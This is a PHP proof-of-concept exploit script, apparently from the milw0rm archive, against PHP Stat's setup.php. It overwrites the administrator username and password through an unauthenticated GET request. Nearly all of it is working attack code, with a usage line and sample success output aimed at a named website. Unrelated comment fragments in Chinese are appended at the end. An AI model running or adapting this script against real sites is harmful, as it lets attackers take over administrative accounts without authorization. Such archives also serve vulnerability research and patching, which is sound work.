<?
/*
**************************************************************
PHP Stat Administrative User Authentication Bypass POC Exploit
Code by Nikyt0x - Soulblack Security Research
**************************************************************
Advisory:
http://www.soulblack.com.ar/repo/papers/phpstat_advisory.txt
Saludos:
Soulblack Staff, Status-x, NeosecurityTeam,
KingMetal, SWP, Trespasser...
[email protected]
http://www.nikyt0x.tk
**************************************************************
**This Exploit Change Admin Username and Password
**Username: admin
**Password: admin
**************************************************************
php sbphpstatpoc.php www.spazfarm.com /spazstats/setup.php
==============================================================
PHP Stat Administrative User Authentication Bypass POC Exploit
==============================================================
by Nikyt0x - Soulblack Security Research
[+] Testing: www.spazfarm.com
[+] Socket
[+] Sending Exploit
[+] OK
Open www.spazfarm.com/spazstats/setup.php
Username: admin
Password: 123456
**************************************************************
*/
// username and password
$username = "admin";
$password = "123456";
function sh0w()
{
echo "n ==============================================================n";
echo " PHP Stat Administrative User Authentication Bypass POC Exploitn";
echo " ==============================================================n";
echo " by Nikyt0x - Soulblack Security Researchnn";
}
if ($argc != 3)
{
sh0w();
echo "nn Usage:n sbphpstatpoc.php www.site.com /dir/to/setup.phpn";
exit();
}
if(!ereg('setup.php',$argv[2])) {
echo "URL to setup.php Incorrect.n";
exit(0);
}
sh0w();
echo " [+] Testing: $argv[1]n";
$s0ck3t = fsockopen($argv[1], 80);
if (!$s0ck3t) {
echo " [-] Socketn";
exit(0);
} else {
$petici0n = "GET $argv[2]?check=yes&username=$username&password=$password HTTP/1.1rn";
$petici0n .= "Host: $argv[1]rn";
$petici0n .= "Connection: Closernrn";
echo " [+] Socketn";
if(!fwrite($s0ck3t, $petici0n))
{
echo " [-] Sending Exploitn";
exit(0);
}
echo " [+] Sending Exploitn";
while (!feof($s0ck3t)) {
$g3tdata = fgets($s0ck3t, 1024);
if (eregi('Setup has been updated',$g3tdata))
{
echo " [+] OKnn";
echo " Open $argv[1]$argv[2]nn Username: $usernamen Password: $passwordn";
exit();
}
}
fclose($s0ck3t);
}
?>
# milw0rm.com [2005-05-30]
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666